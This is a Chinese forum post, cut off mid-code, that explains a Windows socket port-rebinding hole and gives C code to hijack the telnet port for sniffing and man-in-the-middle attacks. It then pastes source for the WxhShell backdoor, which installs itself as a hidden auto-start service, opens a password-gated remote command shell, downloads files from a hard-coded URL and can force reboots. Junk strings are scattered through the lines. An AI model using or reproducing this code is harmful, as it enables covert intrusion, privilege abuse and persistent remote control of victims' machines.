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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nnNv0 ?>d(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %Rp8{.t7  
j{"z4Y4  
  saddr.sin_family = AF_INET; +$47v$p  
Cq>6rn  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hq#kvvi{f  
@6 /yu>%  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !}y1CA  
G @g h#[b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B^fT>1P  
#;[Bl=3(  
  这意味着什么?意味着可以进行如下的攻击: `>6T&  
MRfb[p3Cx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -DP*q3  
!9;)N,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =O!|IAe#  
/.R<,/gj  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X\Y}oa."A  
F8<"AI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   G2`${aMS  
hQRL,?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vE%s, E,  
~6`iY@)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `0bP0^w  
BcQEG *N  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s~^}F+n  
{$d<1y^  
  #include K R,z^9  
  #include .oqIZ\iik  
  #include mT @ nn,  
  #include    yb2}_k.JG  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !^w E/  
  int main() 7" 4z+w  
  { P(,?#+]-  
  WORD wVersionRequested; `!vUsM.d  
  DWORD ret; ST1'\Eo  
  WSADATA wsaData; "?3`  
  BOOL val; =dZHYO^Cv  
  SOCKADDR_IN saddr; %Jp|z? [/  
  SOCKADDR_IN scaddr; k()$:-V  
  int err; ;W]\rft[  
  SOCKET s; X(@uwX$m  
  SOCKET sc; iafE5b)  
  int caddsize; s?2$ue&-f  
  HANDLE mt; -TO\'^][X  
  DWORD tid;   o*5U:'=5}  
  wVersionRequested = MAKEWORD( 2, 2 ); IgIYguQ   
  err = WSAStartup( wVersionRequested, &wsaData ); /mA,F;   
  if ( err != 0 ) { X6\ sF"E  
  printf("error!WSAStartup failed!\n"); >yB(lKV  
  return -1; >6<q8{*  
  } #wY0D_3@1  
  saddr.sin_family = AF_INET; _%/}>L>-`8  
   YJ_\Ns+Ow  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %<0eA`F4  
!cSq+eD  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )G~w[~  
  saddr.sin_port = htons(23); 8|6 4R:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >R\lqLILb,  
  { 0[Ht_qxb  
  printf("error!socket failed!\n"); pav'1d%  
  return -1; 9QQyl\  
  } *=AqM14 @  
  val = TRUE;  asHxL!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,m_WR7!$E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hnk:K9u.B:  
  { F@ Swe  
  printf("error!setsockopt failed!\n"); (wRgus  
  return -1; 6eFp8bANN#  
  } 7 aV%=_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <-'$~G j  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XI<L;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 lVOu)q@l7g  
F$BbYf2i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `d7n?|pD  
  { $5x ,6[&  
  ret=GetLastError(); f| _u7"OX  
  printf("error!bind failed!\n"); Ae]sGU|?'  
  return -1; B"yFS7Rrj  
  } js iSg/  
  listen(s,2); M?m,EQh.  
  while(1) -Eu6U`"(  
  { 'R-3fO???  
  caddsize = sizeof(scaddr); Wbr+ KX8)  
  //接受连接请求 &xRo^iV?  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wE+${B03  
  if(sc!=INVALID_SOCKET) n3A aZp[  
  { A,sr[Pa@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8Nu=^[qwQM  
  if(mt==NULL) 1`ayc|9BR  
  { jC bV,0)^  
  printf("Thread Creat Failed!\n"); )W/;=K  
  break; R2Zgx\VV'  
  } :#@= B]  
  } ,) J~,^f6  
  CloseHandle(mt); C74a(Bk}H  
  } a~'a  
  closesocket(s); 94B\5I}  
  WSACleanup(); J8mdoVt  
  return 0; *98$dQR$  
  }   [Xb@Wh:yG  
  DWORD WINAPI ClientThread(LPVOID lpParam) CrwwU7qKL  
  { L 4!{h|  
  SOCKET ss = (SOCKET)lpParam; gNt(,_]ZR  
  SOCKET sc; /~zai}  
  unsigned char buf[4096]; J0@X<Lt U  
  SOCKADDR_IN saddr; >0"+4<72  
  long num; 8- 2cRs  
  DWORD val; #Y$hNQQ$F  
  DWORD ret; P9T}S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 gLOEh6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   O#F4WWF  
  saddr.sin_family = AF_INET; |UX(+; n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -3Hy*1A.  
  saddr.sin_port = htons(23); V,%=AR5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9jw\s P@  
  { UEguF &  
  printf("error!socket failed!\n"); g*_cP U0~m  
  return -1; .>WxDQIo  
  } U|IzXQX(  
  val = 100; >Wv;R2|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PpAu!2lt9  
  { !wNr3LG  
  ret = GetLastError(); v_DedVhe  
  return -1; |&zz,+E  
  } d>mo~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~XO Ts  
  { . QBF`Rz  
  ret = GetLastError(); t:'Mh9h7u  
  return -1; 7t0e r'VC  
  } ,,q10iF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l4uMG]m  
  { }khV'6"'|  
  printf("error!socket connect failed!\n"); ?gt l)q  
  closesocket(sc); DK: o]~n  
  closesocket(ss); heV=)8  
  return -1; ^LoUi1j  
  } 6\q]rfQ  
  while(1) K3#@SY j  
  { W *),y:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 paCV!tP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7`DBS^O]dG  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |}Nn!Sj>#;  
  num = recv(ss,buf,4096,0); /}b03  
  if(num>0) rrik,qyv6  
  send(sc,buf,num,0); ] Zy5%gI  
  else if(num==0) B#Vz#y  
  break; r{L> F]Tw  
  num = recv(sc,buf,4096,0); >I-RGW'A  
  if(num>0) *Doa* wQ  
  send(ss,buf,num,0); LnH?dy  
  else if(num==0) CYY=R'1:G{  
  break; $QLcH;+7t  
  } 8 Hg+H=?  
  closesocket(ss); 2fn&#kw/  
  closesocket(sc); 0=2@  
  return 0 ; |EX(8y  
  } TJ6*t!'*X  
A>o *t=5  
5K>3My#  
========================================================== ~j}cyHg  
5m&9"T.w  
下边附上一个代码,,WXhSHELL `ZyI!"  
/ F4zg3  
========================================================== e> e}vZlX  
!>..Q)z  
#include "stdafx.h" @tNzQ8  
R;uvkg[o  
#include <stdio.h> FKDk+ojw  
#include <string.h> FWrX3i  
#include <windows.h> SB H(y)  
#include <winsock2.h> C zs8!S  
#include <winsvc.h> 5YE'L.  
#include <urlmon.h> DgId_\Ze  
sBvzAVBL  
#pragma comment (lib, "Ws2_32.lib") ;- ~B)M_S`  
#pragma comment (lib, "urlmon.lib") tE<H|_{L  
K*K,}W&}  
#define MAX_USER   100 // 最大客户端连接数 D#cyOrzy  
#define BUF_SOCK   200 // sock buffer RzE_K'M  
#define KEY_BUFF   255 // 输入 buffer m Bu  
iT3BF"ZqBO  
#define REBOOT     0   // 重启 }YGV\Nu  
#define SHUTDOWN   1   // 关机 5F)C  jQ  
riY~%9iV'  
#define DEF_PORT   5000 // 监听端口 `u3EU*~W  
pjKWtY@=X  
#define REG_LEN     16   // 注册表键长度 &Cr:6W@A  
#define SVC_LEN     80   // NT服务名长度 89pEfl j2  
,<(}|go   
// 从dll定义API *+Ek0M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p& y<I6a,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @vC4[:"pD}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %(3|R@G.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BO~ 0ON0  
BKCA <  
// wxhshell配置信息 kbX8$xTM  
struct WSCFG { CGW.I$u  
  int ws_port;         // 监听端口 ]sf7{lVT  
  char ws_passstr[REG_LEN]; // 口令 PxWT1 !  
  int ws_autoins;       // 安装标记, 1=yes 0=no ##,a0s^  
  char ws_regname[REG_LEN]; // 注册表键名 T0wW<_jh  
  char ws_svcname[REG_LEN]; // 服务名 k9sh @ENy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 w1EXh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !"?#6-,Xn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j/323Za+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yg]-wQrH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dI.WK@W'o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uw>Ba %5  
~ (|5/ p7t  
}; /?uPEKr  
[A+ >^ {  
// default Wxhshell configuration [L3=x;U  
struct WSCFG wscfg={DEF_PORT, o5Dk:Bw  
    "xuhuanlingzhe", =MQoC:l  
    1, |s7s6k)mm  
    "Wxhshell", t6bV?nc  
    "Wxhshell", ]R+mKUZ9  
            "WxhShell Service", N]>=p.#j  
    "Wrsky Windows CmdShell Service", g!g#]9j  
    "Please Input Your Password: ", e(]!GA  
  1, ePOG}k($/%  
  "http://www.wrsky.com/wxhshell.exe", ],@rS9K  
  "Wxhshell.exe" ,Xu-@br{  
    }; xgwY@'GN  
Nyku4r0  
// 消息定义模块 (yH'{6g\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [^WC lRF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $SlIr<'*"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %f&/E"M  
char *msg_ws_ext="\n\rExit."; K0u|U`   
char *msg_ws_end="\n\rQuit."; ,;EIh}  
char *msg_ws_boot="\n\rReboot...";  :|>h7v  
char *msg_ws_poff="\n\rShutdown..."; v,FU^f-'  
char *msg_ws_down="\n\rSave to "; 0M_ DB=  
3 ]5^r}  
char *msg_ws_err="\n\rErr!"; #3i3G(mQ  
char *msg_ws_ok="\n\rOK!"; 29;?I3< *  
G?L HmTHg  
char ExeFile[MAX_PATH]; q$0*b]=E  
int nUser = 0; .p<:II:6  
HANDLE handles[MAX_USER]; nD_GL  
int OsIsNt; hE-h`'ha`  
@x*c1%wg  
SERVICE_STATUS       serviceStatus; +%+tr*04O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KoOz#,()  
l.q&D< _  
// 函数声明 vLv@&lMW  
int Install(void); Y z<3JRw  
int Uninstall(void); u0JB\)(-/h  
int DownloadFile(char *sURL, SOCKET wsh); UFXaEl}R   
int Boot(int flag); QmQ=q7  
void HideProc(void); %6|nb:Oa  
int GetOsVer(void); iFd+2S%  
int Wxhshell(SOCKET wsl); TJ10s%,V  
void TalkWithClient(void *cs); H`*LBqDk  
int CmdShell(SOCKET sock); EEEh~6?-e  
int StartFromService(void); M1k{t%M+S  
int StartWxhshell(LPSTR lpCmdLine); Kr?TxhUHd  
U\g/2dM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F6|TP.VY_.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7o7)0l9!  
ew>XrT=Zm  
// 数据结构和表定义 LoURC$lS  
SERVICE_TABLE_ENTRY DispatchTable[] = UE8kpa)cQ  
{ bg!/%[ {M  
{wscfg.ws_svcname, NTServiceMain}, Q 1U\D  
{NULL, NULL} h=W:^@G  
}; %:M ^4~dc  
${<%" hR$  
// 自我安装 W =D4r  
int Install(void) 6|gCuT4  
{ rlMLW  
  char svExeFile[MAX_PATH]; {0[tNth'h  
  HKEY key; >BV^H.SO|1  
  strcpy(svExeFile,ExeFile); x) ,eI'mf  
5VfyU8)7X  
// 如果是win9x系统,修改注册表设为自启动 +KF^Z$I  
if(!OsIsNt) {  `xKp%9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T.])diuvj-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Pz4\uE=  
  RegCloseKey(key); n7zm>&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R"-mKT}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %41m~Wh2  
  RegCloseKey(key); Mer/G2#&  
  return 0; lS"T4 5  
    } ^ sOQi6pL  
  } =J18eH!]  
} &xU[E!2H%  
else { ZJnYIK  
cutuDZ  
// 如果是NT以上系统,安装为系统服务 {AhthR%(1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  U'k*_g  
if (schSCManager!=0) A` N,  
{ TEP,Dq  
  SC_HANDLE schService = CreateService ;dkYf24  
  ( T]^62(So  
  schSCManager, )%`c_FL@N=  
  wscfg.ws_svcname, & DS/v)]  
  wscfg.ws_svcdisp, xzdf^Ce  
  SERVICE_ALL_ACCESS, GF"hx`zyJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {dhXIs  
  SERVICE_AUTO_START, _:ReN_0  
  SERVICE_ERROR_NORMAL, z{8bvuE  
  svExeFile, KWq+PeB5TS  
  NULL, dph{74Dc  
  NULL, '3R`lv   
  NULL, OyStqi  
  NULL, )\1QJ$-M&  
  NULL U#0Q)  
  ); 46}g7skD  
  if (schService!=0) ^a/gBC82x  
  { ]MqMQLG0t  
  CloseServiceHandle(schService); l?E{YQq]  
  CloseServiceHandle(schSCManager); H[NSqu.s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o$wEEz*4  
  strcat(svExeFile,wscfg.ws_svcname); 7z%L*z8V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =%BSKSG.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a]$1D!Anc  
  RegCloseKey(key); 6`&a&%,O  
  return 0; ML}J\7R  
    } Y@NNrGDkT*  
  } \e:7)R2<!x  
  CloseServiceHandle(schSCManager); 5^}\4.eXo  
} 9)D6Nm  
} SUMrFd~  
o5u3Fjz3  
return 1; |-b#9JQ[A  
} 4`lLf  
N&.H|5  
// 自我卸载 `:ArT}F  
int Uninstall(void) Yc`o5Q\>  
{ Fh)IgzFj  
  HKEY key; 0XOp3  
-$t{>gO#Y  
if(!OsIsNt) { -m\u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wt*cIZ  
  RegDeleteValue(key,wscfg.ws_regname); mbKZJ{|4s  
  RegCloseKey(key); kq?Ms|h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^8]NxV@l  
  RegDeleteValue(key,wscfg.ws_regname); )~& CvJ  
  RegCloseKey(key); aKJwofD  
  return 0; L{#IT.  
  } \J4L:.`qS  
} t DO=P c  
} Z@yW bjE7Z  
else { 3>3Kwc~E  
9G9t" {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?L x24*5%  
if (schSCManager!=0) .zr-:L5{  
{ $6qh| >z.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gLb`pCo/  
  if (schService!=0) 2ElJbN#  
  { UI0( =>L  
  if(DeleteService(schService)!=0) { ;RH;OE,A  
  CloseServiceHandle(schService); 2my_;!6T[  
  CloseServiceHandle(schSCManager); 8mCxn@yV  
  return 0; , |0}<%  
  } $ux,9H'[  
  CloseServiceHandle(schService); %9 SJ E  
  } ay4 %  
  CloseServiceHandle(schSCManager); y>S.?H:P  
} 4aug{}h("  
} N' F77 .  
gBd]B03  
return 1; *tGY6=7O  
}  52Yq  
#`~C)=-  
// 从指定url下载文件 +<'Ev~  
int DownloadFile(char *sURL, SOCKET wsh) r^2p*nr}  
{ "N;`1ce  
  HRESULT hr; ?K1/ <PE+  
char seps[]= "/"; "H2EL}3/]  
char *token; WEAT01  
char *file; mR!1DQ.\<  
char myURL[MAX_PATH]; M|VyV (f  
char myFILE[MAX_PATH]; 2Zm0qJ  
87=&^.~`  
strcpy(myURL,sURL); u]:oZMnj  
  token=strtok(myURL,seps); {0r0\D>bw  
  while(token!=NULL) V[mT<Lc  
  { 2v:]tj  
    file=token; P i=+/}  
  token=strtok(NULL,seps); '_<{ p3M  
  } sXqz+z$*  
bkRLC_/d  
GetCurrentDirectory(MAX_PATH,myFILE); n*o-Lo+Fe.  
strcat(myFILE, "\\"); f0!))/rSD  
strcat(myFILE, file); j*d yp  
  send(wsh,myFILE,strlen(myFILE),0); :{{F *FM;  
send(wsh,"...",3,0); 97Lte5c6r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rr/B= O7  
  if(hr==S_OK) XWn VgY s  
return 0; 5CuuG<0  
else X3(tuqmi  
return 1; {vs uPY  
|U~<3.:m:  
} lVd^ ^T*fh  
*F WMn.  
// 系统电源模块 +2(I1  
int Boot(int flag) iyN:%ofh  
{ 'Jiw@t<o3`  
  HANDLE hToken; 9y6-/H ,  
  TOKEN_PRIVILEGES tkp; AJt+p&I[J  
`K*Q5n  
  if(OsIsNt) { Qd)q([  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uOKCAqYa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); md=TjMaY  
    tkp.PrivilegeCount = 1; JELT ou  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \$R_YKGf1G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {]*c29b>  
if(flag==REBOOT) { hZdoc<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `CBZhI%%  
  return 0; :v0U|\j8/V  
} 16w|O |^<  
else { ,k.3|aZE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B{/R: Hm  
  return 0; f W!a|?e$  
} !]42^?GH  
  } 2iHUZzz\  
  else { !NIhx109q  
if(flag==REBOOT) { B|Du@^$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fJ5iS  
  return 0; i3dkYevs?  
} @#<D ^"  
else { Q`~jw>x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^pxX]G]  
  return 0; 7X`l&7IXP  
} ]99|KQ<s  
} u6?Q3 bvI  
XYjV.j\  
return 1; oxC[F*mD  
} 26e]`]!SU  
i=ea ?eT`  
// win9x进程隐藏模块 {mm)ay|M  
void HideProc(void) Bz^jw>1b  
{ 5:\},n+VE  
67VL@ ]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); # Nk;4:[  
  if ( hKernel != NULL ) *7:>EP  
  { N c1"g1JR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &@G:G(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PZ2;v<  
    FreeLibrary(hKernel); 3("_Z%  
  } ^tqzq0  
Olt `:;j-  
return; ) dn(G@5  
} T m,b,hi$  
2- &k^Gl!:  
// 获取操作系统版本 nx@=>E+a  
int GetOsVer(void) g~Z vA(`  
{ 56}U8X  
  OSVERSIONINFO winfo; NYyh|X:m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gRrL[z  
  GetVersionEx(&winfo); |^0XYBxQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w&X<5'GM  
  return 1; ccB&O _  
  else pSoiH<33  
  return 0; +GG9^:<yr  
} u&1q [0y  
~:0sk"t$1  
// 客户端句柄模块 qJ;jfh!  
int Wxhshell(SOCKET wsl) ATJWO 1CtB  
{ 3%l*N&gsg:  
  SOCKET wsh; ]@dZ{H|  
  struct sockaddr_in client; ?b*s. ^  
  DWORD myID; RdWRWxTn8+  
d^ Inb!%w  
  while(nUser<MAX_USER) ]|!OP  
{ F{Z~ R  
  int nSize=sizeof(client); }e!x5g   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N+++4;  
  if(wsh==INVALID_SOCKET) return 1; 2gc/3*F8  
gaQdG=G8$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 48c1gUw oP  
if(handles[nUser]==0) .|hf\1_J  
  closesocket(wsh); fo5iJz"Z  
else ZNJ@F<  
  nUser++; %+f>2U4I  
  } >,TUZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V:qSy#e  
vBRQp&YwX  
  return 0; J3,fk)  
} !i{aMxUP  
|h-QP#]/  
// 关闭 socket 0Z~p%C<LW  
void CloseIt(SOCKET wsh) Z?}dq-Vh&  
{ 'w!Cn>  
closesocket(wsh); FQm`~rA~zt  
nUser--; >go,K{cK6  
ExitThread(0); 7"aN#;&  
} `2'#! -  
SFO({w(  
// 客户端请求句柄 D'7SAFOM  
void TalkWithClient(void *cs) E7NV ^4h  
{ XDsx3Ws  
esHg'8?U  
  SOCKET wsh=(SOCKET)cs; 0F]>Jby  
  char pwd[SVC_LEN]; l9}3XI.=  
  char cmd[KEY_BUFF]; qo p^;~  
char chr[1]; B$- R-S6  
int i,j; &7<TAo;O  
`JOOnTenQ  
  while (nUser < MAX_USER) { |*:'TKzNS  
mX_a^_[G  
if(wscfg.ws_passstr) { ^.KwcXr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?>hPO73{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~kShq%  
  //ZeroMemory(pwd,KEY_BUFF); "*m_> IU  
      i=0; 6;u$&&c(  
  while(i<SVC_LEN) { 3 N.~mR  
F=`AY^u0  
  // 设置超时 Ge2q%  
  fd_set FdRead; *-MM<|Qt  
  struct timeval TimeOut; O/,aJCe  
  FD_ZERO(&FdRead); [ p{#XwN  
  FD_SET(wsh,&FdRead); s8wmCzB~  
  TimeOut.tv_sec=8; PRr2F-!P  
  TimeOut.tv_usec=0; ]gmexa=(i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xgbJ2Mh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^=T$&gD  
9)}[7Mg:C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pi /g H  
  pwd=chr[0]; ;-9=RI0  
  if(chr[0]==0xd || chr[0]==0xa) { $eD.W  
  pwd=0; qm./|#m>  
  break; 'd.EC#  
  }  5V6G=H  
  i++; pNOwDJtK  
    } FB  _pw!z  
|?rNy=P,  
  // 如果是非法用户,关闭 socket .P;*Dws  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H18Tn!RDS  
} o}W%I/s  
 `dFq:8v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E5)b  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eCN })An  
2r!s*b\Ix  
while(1) { Zw*v  
)^ m%i]L _  
  ZeroMemory(cmd,KEY_BUFF); aa?w:3  
8)O[Aq::  
      // 自动支持客户端 telnet标准   bu |a0h7e  
  j=0; ERpnuMb  
  while(j<KEY_BUFF) { l ;JA8o\x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (^@ra$.  
  cmd[j]=chr[0]; V=zi >o`   
  if(chr[0]==0xa || chr[0]==0xd) { Y,W uBH  
  cmd[j]=0; #cnq(S=.  
  break; V^JV4 `o  
  } N F2/B#q  
  j++; S'A>2>  
    } ]vgB4~4#LP  
nN*w~f"  
  // 下载文件 `&KwtvkdI  
  if(strstr(cmd,"http://")) { vY%d   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9{-EJ)  
  if(DownloadFile(cmd,wsh)) vWRju*Z&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IIg^FZ*]_  
  else Q7R~{5r>W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZT,B(#m  
  } T? tG~  
  else { ])L A42|  
CZ(/=3,3n  
    switch(cmd[0]) { & @s!<9$W  
  "ul {d(K3  
  // 帮助 ]3VI|f$$  
  case '?': { <1FC%f/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E0u~i59Z  
    break; D[^m{ 9_  
  } ? %`@ub$  
  // 安装 BDq%'~/^  
  case 'i': { 9:,V5n=  
    if(Install()) &Rx{.9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kD*2~Z?;  
    else VCn{mp*h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); an|x$e7|?  
    break; p8Q,@ql.  
    } HR ;)|j{!  
  // 卸载 )^4\,u\@  
  case 'r': { T(e!_VY|m  
    if(Uninstall()) 3T"j)R_=l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); > `n,S  
    else m\$\ 09  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P^w#S  
    break; v1%uxthW  
    } g{8,Wx,,  
  // 显示 wxhshell 所在路径 Eve.QAl|  
  case 'p': { mMb'@  
    char svExeFile[MAX_PATH]; UG)8D5  
    strcpy(svExeFile,"\n\r"); QS{1CC9$  
      strcat(svExeFile,ExeFile); TYJ:!  
        send(wsh,svExeFile,strlen(svExeFile),0); 3~}uqaGt  
    break; T{Sb^-H#X  
    } Fb7#<h  
  // 重启 TQx.KM>y  
  case 'b': { IG|X!l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o3I Tr';  
    if(Boot(REBOOT)) :lB=L r)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 G3\=)  
    else { LM7$}#$R  
    closesocket(wsh); `FYv3w2  
    ExitThread(0); XVKfl3'%  
    } 5]HS^II"  
    break; tZ^Ou89:rG  
    } @1DX  
  // 关机 87=^J xy  
  case 'd': { bzX\IrJpOZ  
